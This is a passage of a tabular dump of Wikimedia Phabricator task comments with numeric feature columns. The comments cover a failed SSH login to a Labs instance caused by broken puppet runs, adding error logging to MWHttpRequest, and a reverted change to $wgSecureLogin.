Could this be an NFS problem?",Needs Triage,90.0,1434985744,1434988559.0,PHID-USER-zzbdvschb2zxhrxixhcr,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-t5fuhkrhetszx5h74eys,task_description,resolved,True,c3,2,False,False,True,-2,True,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,7.0,7.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,5.0,13.0,1.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,7.0,5.0,1.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,5.0,0.0,0.0,0.0,3.9651162790697674,0.7209302325581395,"When trying to ssh to sylvester I get the following:

``CODE``

The catgraph service which should be running there is not reachable either (connection refused).

Special:NovaInstance shows the instance as ACTIVE. Tried rebooting it via the web interface, no change.

I can ssh to other instances in the same project normally, and the services are running there as well.

Could this be an NFS problem?"
479124,Can't login to catgraph instance,"I've removed role::labsnfs::client and webserver::apache and catgraph_hostmap from the puppet config of that instance in order to allow puppet to run properly.

You'll need to restore those classes and rearrange your git branches on the puppet master to get puppet running.

Puppet clearly hadn't run on this instance for many months -- it's a miracle that it's been working this long.  Remember, if puppet runs are failing on an instance, that instance may fall off the internet at any moment.

Additionally, I sent an email several weeks ago that specifically described your use case with instructions about how to avoid this specific problem.  Please subscribe to labs-l and read the announcements there in order avoid future issues such as this one.",,,1434988559,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-t5fuhkrhetszx5h74eys,task_subcomment,,True,c3,2,True,,,-2,True,2.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.0,1.0,0.0,5.5,13.0,0.0,2.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.5,0.5,0.5,2.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,15.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,4.5,2.5,2.0,9.0,0.0,0.0,0.0,0.0,6.5,0.5,0.5,0.0,4.0,13.0,3.5,0.0,0.0,0.0,4.0,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,4.47887323943662,0.7816901408450705,"I've removed role::labsnfs::client and webserver::apache and catgraph_hostmap from the puppet config of that instance in order to allow puppet to run properly.

You'll need to restore those classes and rearrange your git branches on the puppet master to get puppet running.

Puppet clearly hadn't run on this instance for many months -- it's a miracle that it's been working this long.  Remember, if puppet runs are failing on an instance, that instance may fall off the internet at any moment.

Additionally, I sent an email several weeks ago that specifically described your use case with instructions about how to avoid this specific problem.  Please subscribe to labs-l and read the announcements there in order avoid future issues such as this one."
479109,Can't login to catgraph instance,"Thanks for the quick response, but I still can't ssh there - same output as before :/",,,1434986926,,PHID-USER-zzbdvschb2zxhrxixhcr,False,,,PHID-TASK-t5fuhkrhetszx5h74eys,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,21.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,1.0,"Thanks for the quick response, but I still can't ssh there - same output as before :/"
479099,Can't login to catgraph instance,Logins should be fixed now.  Part of this issue was caused by a broken puppet run -- it's very important that you keep your instances with properly running puppet.,,,1434986298,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-t5fuhkrhetszx5h74eys,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.090909090909091,0.9393939393939394,Logins should be fixed now.  Part of this issue was caused by a broken puppet run -- it's very important that you keep your instances with properly running puppet.
103043,MWHttpRequest should log errors,"With T102566 a bunch of wikis will have InstantCommons broken, and will probably try to find out from the error logs what's wrong. MWHttpRequest does not seem to do any error logging whatsoever, though.

There are two cases that users will encounter due to T102566 and where we should provide a helpful error message:
* MWHttpRequest refuses to follow a HTTP->HTTPS redirect
* MWHttpRequest cannot verify the Wikimedia cert (note that while Commons has been reverted to HTTPS, upload.wikimedia.org has not, so this is happening right now)

Note that this does not affect InstantCommons which does not use MWHttpRequest directly.",Needs Triage,90.0,1434678597,1440910324.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_description,resolved,True,c3,2,True,True,True,-2,True,0.5,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,9.5,9.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.5,7.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,1.5,7.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,3.0,2.0,11.0,3.5,1.0,6.5,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,0.5,9.0,9.5,0.0,0.0,0.0,0.5,0.0,2.0,2.0,0.0,1.5,0.0,0.0,0.0,4.594827586206897,0.8017241379310345,"With T102566 a bunch of wikis will have InstantCommons broken, and will probably try to find out from the error logs what's wrong. MWHttpRequest does not seem to do any error logging whatsoever, though.

There are two cases that users will encounter due to T102566 and where we should provide a helpful error message:
* MWHttpRequest refuses to follow a HTTP->HTTPS redirect
* MWHttpRequest cannot verify the Wikimedia cert (note that while Commons has been reverted to HTTPS, upload.wikimedia.org has not, so this is happening right now)

Note that this does not affect InstantCommons which does not use MWHttpRequest directly."
525382,MWHttpRequest should log errors,"Change 237550 merged by jenkins-bot:
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/237550]]",,,1441992290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5714285714285716,0.9047619047619048,"Change 237550 merged by jenkins-bot:
Log errors in Http::request()

[[GERRIT_URL]]"
525381,MWHttpRequest should log errors,"Change 237539 merged by jenkins-bot:
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/237539]]",,,1441992287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5714285714285716,0.9047619047619048,"Change 237539 merged by jenkins-bot:
Log errors in Http::request()

[[GERRIT_URL]]"
525370,MWHttpRequest should log errors,"Change 237533 merged by jenkins-bot:
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/237533]]",,,1441991721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5714285714285716,0.9047619047619048,"Change 237533 merged by jenkins-bot:
Log errors in Http::request()

[[GERRIT_URL]]"
524923,MWHttpRequest should log errors,"Change 237550 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/237550]]
",,,1441932233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6296296296296298,0.8518518518518519,"Change 237550 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[GERRIT_URL]]
"
524901,MWHttpRequest should log errors,"Change 237539 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/237539]]
",,,1441929394,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6296296296296298,0.8518518518518519,"Change 237539 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[GERRIT_URL]]
"
524869,MWHttpRequest should log errors,"Change 237533 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/237533]]
",,,1441926851,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6296296296296298,0.8518518518518519,"Change 237533 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[GERRIT_URL]]
"
498588,MWHttpRequest should log errors,"Change 223518 merged by jenkins-bot:
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/223518]]",,,1438122824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5714285714285716,0.9047619047619048,"Change 223518 merged by jenkins-bot:
Log errors in Http::request()

[[GERRIT_URL]]"
491184,MWHttpRequest should log errors,">>! In T103043#1450233, @Tgr wrote:
> @hashar `followRedirects` is somewhat problematic from a security point of view as there is no way to restrict redirection to e.g. same-domain in curl once you enable redirects.

I filed T105765 for us to improve on this.",,,1436836842,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,21.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.357142857142857,0.9285714285714286,"QUOTE
QUOTE

I filed T105765 for us to improve on this."
491004,MWHttpRequest should log errors,@hashar `followRedirects` is somewhat problematic from a security point of view as there is no way to restrict redirection to e.g. same-domain in curl once you enable redirects.,,,1436812525,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,23.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.548387096774194,0.9354838709677419,SCREEN_NAME CODE is somewhat problematic from a security point of view as there is no way to restrict redirection to e.g. same-domain in curl once you enable redirects.
488488,MWHttpRequest should log errors,"Change 223518 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[https://gerrit.wikimedia.org/r/223518]]
",,,1436341544,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6296296296296298,0.8518518518518519,"Change 223518 had a related patch set uploaded (by Gergő Tisza):
Log errors in Http::request()

[[GERRIT_URL]]
"
491594,MWHttpRequest should log errors,"> MWHttpRequest refuses to follow a HTTP->HTTPS redirect

Our Http class has `followRedirects` defaulting to false with the comment:

> Note: this should only be used when the target URL is trusted, to avoid attacks on intranet services accessible by HTTP.

And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.

@demon follow up by filling {T105765}
",,,1436950127,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,20.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,4.658536585365853,0.8536585365853658,"QUOTE

Our Http class has CODE defaulting to false with the comment:

QUOTE

And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.
SCREEN_NAME follow up by filling {T105765}
"
477860,MWHttpRequest should log errors,"> MWHttpRequest refuses to follow a HTTP->HTTPS redirect

Our Http class has `followRedirects` defaulting to false with the comment:

> Note: this should only be used when the target URL is trusted, to avoid attacks on intranet services accessible by HTTP.

And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.


",,,1434701729,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,19.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.84375,0.875,"QUOTE

Our Http class has CODE defaulting to false with the comment:

QUOTE

And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.


"
103021,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Having $wgSecureLogin=true enables code that handles redirecting the user to https for sensitive pages (login page, etc), allows opting out of https by setting cookies insecure, and sets the forceHTTPS cookie so the application can redirect users who only have cookies set securely.

Turning this to false on WMF wikis will remove the extra overhead.",Needs Triage,90.0,1434664668,1438275064.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_description,declined,True,c3,2,True,True,True,-2,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,5.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,2.0,4.5,0.8636363636363636,"Having $wgSecureLogin=true enables code that handles redirecting the user to https for sensitive pages (login page, etc), allows opting out of https by setting cookies insecure, and sets the forceHTTPS cookie so the application can redirect users who only have cookies set securely.

Turning this to false on WMF wikis will remove the extra overhead."
499582,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Let's not do this.

We do need to clean up a few things (user preference, reduce the size of the forceHTTPS cookie) so the overhead is less.",,,1438275064,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,True,,,4,True,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,6.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.3823529411764706,0.8823529411764706,"Let's not do this.

We do need to clean up a few things (user preference, reduce the size of the forceHTTPS cookie) so the overhead is less."
498955,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 227740 merged by BBlack:
Revert ""No need for wgSecureLogin on our wikis, HTTPS is forced everywhere""

[[https://gerrit.wikimedia.org/r/227740]]",,,1438186197,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,11.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 227740 merged by BBlack:
Revert ""No need for wgSecureLogin on our wikis, HTTPS is forced everywhere""

[[GERRIT_URL]]"
498952,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Given we had a related incident with a redirect regex bug recently, it would be better to leave this in place for now, so reverting the change.  We can revisit this when we get past all the other hurdles preventing a simple unconditional redirect/403 with no exceptions at the nginx layer ( T107236 ) if we want.",,,1438186035,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,True,,,3,True,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,5.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,13.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,5.0,0.0,3.0,2.0,0.0,0.0,4.129032258064516,0.8387096774193549,"Given we had a related incident with a redirect regex bug recently, it would be better to leave this in place for now, so reverting the change.  We can revisit this when we get past all the other hurdles preventing a simple unconditional redirect/403 with no exceptions at the nginx layer ( T107236 ) if we want."
498951,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 227740 had a related patch set uploaded (by BBlack):
Revert ""No need for wgSecureLogin on our wikis, HTTPS is forced everywhere""

[[https://gerrit.wikimedia.org/r/227740]]
",,,1438185929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,9.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.7714285714285714,0.8857142857142857,"Change 227740 had a related patch set uploaded (by BBlack):
Revert ""No need for wgSecureLogin on our wikis, HTTPS is forced everywhere""

[[GERRIT_URL]]
"
498415,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 219265 merged by BBlack:
No need for wgSecureLogin on our wikis, HTTPS is forced everywhere

